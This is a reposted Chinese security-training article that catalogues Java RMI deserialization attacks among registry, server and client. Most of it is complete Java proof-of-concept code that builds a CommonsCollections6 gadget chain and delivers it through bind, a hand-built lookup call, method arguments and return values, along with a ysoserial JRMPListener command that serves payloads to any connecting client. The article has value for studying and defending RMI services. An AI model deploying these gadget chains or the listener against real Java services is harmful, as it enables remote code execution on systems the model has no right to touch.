当前位置:网站首页 > 网络安全培训 > 正文

RMI-攻击方式总结

freebuffreebuf 2021-10-27 329 0

本文来源:星阑科技

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。

RMI包括以下三个部分:

Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。

Server: 远程方法的提供者,并向Registry注册自身提供的服务

Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用

测试环境:JDK8u41

Client 和 Regisry 基于Stub和Skeleton进行通信,分别对应RegistryImpl_Stub和RegistryImpl_Skel两个类。

Server 攻击 Registry

Server 端在执行bind或者rebind方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE。

Registry

package SAR; import java.rmi.registry.LocateRegistry; public class RMIRegistry {     public static void main(String[] args) {         try {             LocateRegistry.createRegistry(1099);             System.out.println("RMI Registry Start");         } catch (Exception e) {             e.printStackTrace();         }         while (true);     } }

Server

package SAR;  import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import util.Calc; import util.Utils; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIServer {     public static void main(String[] args) throws Exception {         // CommonsCollections6         TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);         Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);         TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);         HashMap expMap = new HashMap();         expMap.put(tiedMapEntry, "value");         outerMap.clear();         Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");         // bind to registry         Registry registry = LocateRegistry.getRegistry(1099);         InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);         Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);         registry.bind("pwn", remote);         // registry.rebind("pwn", remote);     } }

InvocationHandlerImpl

package SAR; import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map; public class InvocationHandlerImpl implements InvocationHandler, Serializable {     protected Map map;     public InvocationHandlerImpl(Map map) {         this.map = map;     }      @Override     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {         return null;     } }

为什么需要InvicationHandlerImpl?

实现了Remote接口的对象才可以被 Server 绑定,CC6 最后要反序列化的是一个 Map 类型的对象,显然不可以被绑定,所以这里就需要用一层动态代理,用InvocationHandlerImpl对象(handler)把Remote接口代理就可以获取到实现了Remote接口的对象。

代理对象内部有InvocationHandlerImpl对象的引用,而后者内部也有一个expMap的引用,三者都实现了Serializable接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致expMap被反序列化。

备注:这里的InvocationHandlerImpl可以用现有的AnnotationInvocationHandler代替。

Client 攻击 Registry

Registry 端在接收请求的时候会将数据进行反序列化处理:

备注(方法和 case 的对应关系):

所以如果控制lookup方法的参数是一个恶意对象的话,那么就可以攻击 Registry 达到 RCE 的效果。

主要问题在于lookup方法接收一个 String 类型的参数,无法直接利用,需要手动模拟RegistryImpl_Stub#lookup方法传递过程:

Client

package CAR; import SAR.InvocationHandlerImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.server.UnicastRef; import util.Calc; import util.Utils; import java.io.ObjectOutput; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; public class RMIClient {     public static void main(String[] args) throws Exception {         TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);         Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);         TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);         HashMap expMap = new HashMap();         expMap.put(tiedMapEntry, "value");         outerMap.clear();         Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");         Registry registry = LocateRegistry.getRegistry(1099);         InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);         Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);         Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");         field1.setAccessible(true);         UnicastRef ref = (UnicastRef) field1.get(registry);         Field field2 = registry.getClass().getDeclaredField("operations");         field2.setAccessible(true);         Operation[] operations = (Operation[]) field2.get(registry);         RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);         ObjectOutput var3 = var2.getOutputStream();         var3.writeObject(remote);         ref.invoke(var2);     } }

Registry

package SAR;  import java.rmi.registry.LocateRegistry;  public class RMIRegistry {     public static void main(String[] args) {         try {             LocateRegistry.createRegistry(1099);             System.out.println("RMI Registry Start");         } catch (Exception e) {             e.printStackTrace();         }         while (true);     } }

Client 攻击 Server

Client 发送请求

Client 端执行完lookup方法获取到远程对象,这个对象实际上是一个获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去:

前面多个 if 都不满足,直接来到RemoteObjectInvocationHandler#invokeRemoteMethod:

这里的 ref 是 UnicastRef 对象,来到UnicastRef#invoke,这里代码比较长,重点地方已经标注:

而这个远程对象在执行方法的时候,方法参数类型和参数都是以序列化形式传输到 Server(var2就是方法,var3就是参数):

Server 端处理

Server 端处理 Client 请求的方法在UnicastServerRef#dispatch,对参数进行反序列化之后通过反射进行调用(var8就是 Method,var10是经过反序列化之后的参数,var1是绑定的 Remote 对象):

与客户端的marshalValue方法对应,服务端也有一个unmarshalValue方法用来对参数进行反序列化:

此外,具体执行哪一个方法是根据 hash 值来识别的:

Client

package CAS; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import util.Calc; import util.Utils; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIClient {     public static void main(String[] args) throws Exception {         TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);         Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);         TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);         HashMap expMap = new HashMap();         expMap.put(tiedMapEntry, "value");         outerMap.clear();         Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");         Registry registry = LocateRegistry.getRegistry(1099);         TestInterface remoteObj = (TestInterface) registry.lookup("test");         // 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去         remoteObj.testMethod(expMap);     } } 

Server

package CAS; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer {     public static void main(String[] args) throws Exception {         Registry registry = LocateRegistry.getRegistry(1099);         TestInterfaceImpl testInterface = new TestInterfaceImpl();         registry.rebind("test", testInterface);     } }

接口和类

package CAS; import java.rmi.Remote; import java.rmi.RemoteException; public interface TestInterface extends Remote {     void testMethod(Object obj) throws RemoteException; }
package CAS; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {     protected TestInterfaceImpl() throws RemoteException {         super();     }     @Override     public void testMethod(Object obj) throws RemoteException {         System.out.println("...");     } }

Server 攻击 Client

Server 端方法的执行结果也是以序列化的形式传输到 Client 的,还是在UnicastServerRef#dispatch方法中:

而在 Client 端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:

所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。

Client

package SAC; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient {     public static void main(String[] args) throws Exception {         Registry registry = LocateRegistry.getRegistry(1099);         TestInterface remote = (TestInterface) registry.lookup("test");         System.out.println(remote.testMethod());     } } 

Server

package SAC; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer {     public static void main(String[] args) throws Exception {         Registry registry = LocateRegistry.getRegistry(1099);         TestInterfaceImpl testInterface = new TestInterfaceImpl();         registry.bind("test", testInterface);     } }

接口和类

package SAC; import java.rmi.Remote; import java.rmi.RemoteException; public interface TestInterface extends Remote {     Object testMethod() throws RemoteException; }
package SAC; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import util.Calc; import util.Utils; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map; public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {     public TestInterfaceImpl() throws RemoteException {         super();     }     @Override     public Object testMethod() throws RemoteException {         try {             TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);             Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);             Map innerMap = new HashMap();             Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);             TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);             HashMap expMap = new HashMap();             expMap.put(tiedMapEntry, "value");             outerMap.clear();             Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");             return expMap;         } catch (Exception e) {             e.printStackTrace();         }         return null;     } }

Registry 攻击 Client&Server

更准确的表达是:JRMP 服务端攻击 JRMP 客户端。

使用 ysoserial 开启一个 JRMP 监听服务(这里指的是exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的exploit/JRMPListener会在指定端口开启一个 JRMP Server,然后会向任何连接其的客户端发送反序列化 payload。

转载请注明来自网盾网络安全培训,本文标题:《RMI-攻击方式总结》

标签:数据安全RMI漏洞RMIScoutRMI服务攻击

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表